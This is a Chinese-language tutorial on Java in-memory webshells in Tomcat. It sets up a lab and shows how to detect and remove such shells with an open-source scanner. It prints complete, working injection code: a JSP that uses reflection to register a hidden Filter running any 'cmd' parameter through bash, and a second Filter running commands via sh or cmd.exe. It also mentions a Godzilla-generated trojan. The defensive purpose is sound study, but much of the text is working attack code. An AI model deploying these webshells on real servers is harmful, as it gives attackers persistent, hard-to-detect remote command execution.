初识内存马

内存马是无文件落地webshell中最常见的攻击手段,随着攻防演练对抗强度越来越高,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll以及文件形式的后门容易被检测到。与传统的计算机病毒不同,内存马不会将自身代码写入到磁盘上的文件中,而是将恶意代码直接注入到计算机的内存中,并在系统内核级别运行。
​
由客户端发起的Web请求后,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode,达到持久化控制服务器的目的。内存马可以通过访问存在漏洞的url加上命令执行参数,即可让服务器返回结果也可通过webshell管理工具例如:蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。

内存马类型

内存马在语言类型上有PHP内存马,Python内存马,而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀,java内存马又主要分为下面这三大类
​
1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马
​
2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

原理

1.内存映射:操作系统提供了一种将磁盘上的文件直接映射到进程的内存空间的机制,这样进程可以像访问内存一样访问文件的内容。)。
​
2.恶意注入:攻击者创建一个恶意文件,并将其存储在磁盘上。然后,通过某种方式(例如利用漏洞或url注入)将这个恶意文件注入到目标进程的内存空间中。
​
3.映射文件:攻击者利用操作系统的内存映射机制,将恶意文件映射到目标进程的内存空间中的某个地址范围。这样,进程就可以像访问内存一样访问这个恶意文件。
​
访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果。
​
以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

内存马查杀示例(极简)

这是c0ny1师傅编写的jsp内存马检测脚本
​
脚本地址:https://github.com/c0ny1/java-memshell-scanner

环境搭建

kali充当服务器
1.搭建web环境
官网:http://tomcat.apache.org/下载tomcat对应的linux版本
例如我下载的:apache-tomcat-9.0.80.tar.gz

2.解压(任意文件夹)
tar -zxvf apache-tomcat-9.0.80.tar.gz
3.启动tomcat服务
进入解压后的bin目录,我的是:cd apache-tomcat-9.0.80/bin
启动脚本    ./startup.sh
普通用户权限添加sudo即可

本机访问8080端口,检测是否能过正常访问
centos或其他系统情况下可能有防火墙问题,关闭防火墙可正常访问
systemctl stop firewalld.service

附上大佬的内存马脚本,创建memshell.jsp,功能是访问之后会自动注入到filterMaps最前面,每次调用filter最先触发内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
​
<%
    final String name = "cyc1ops";
    ServletContext servletContext = request.getSession().getServletContext();
​
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
​
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
​
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
​
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
​
            }
​
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }
​
            @Override
            public void destroy() {
​
            }
​
        };
​
​
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
​
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
​
        standardContext.addFilterMapBefore(filterMap);
​
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
​
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>
访问将上面内存马放到web根目录下默认在:/apache-tomcat-9.0.80/webapps/ROOT
访问内存马

尝试访问项目下任意路径,添加cmd参数,命令执行成功

尝试可以,现在开始查杀演示
新建一个memShell_test.jsp
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
​
@WebServlet("/memShell_test")
public class TestServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doGet(req, resp);
        resp.getWriter().write("Test memshell");
    }
​
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doPost(req, resp);
    }
}
新建一个恶意filter
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
​
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
​
@WebFilter("/*")
public class cmd_Filters implements Filter {
    public void destroy() {
    }
​
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }
​
    public void init(FilterConfig config) throws ServletException {
​
    }
​
}
访问项目下任意路径,添加cmd参数,命令执行成功

开始查杀
​
直接把 java-memshell-scanner 脚本放在web目录下,访问
可以看到列表中的恶意filter编译后的class文件

进入对应class所在的地址删除class(进入过程中可能会有权限问题,普通用户可使用 sudo chmod 777 目录名 添加权限)

在对应目录下删除了可疑jsp编译后的class文件仍能命令执行成功

现将其kill掉

再次使用内存马cmd命令执行,发现执行失败,同时在scanner界面可疑文件已经消失,到此结束。


附加

哥斯拉生成a.jsp的java木马,密码pass

测试连接成功

连接成功,getshell

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐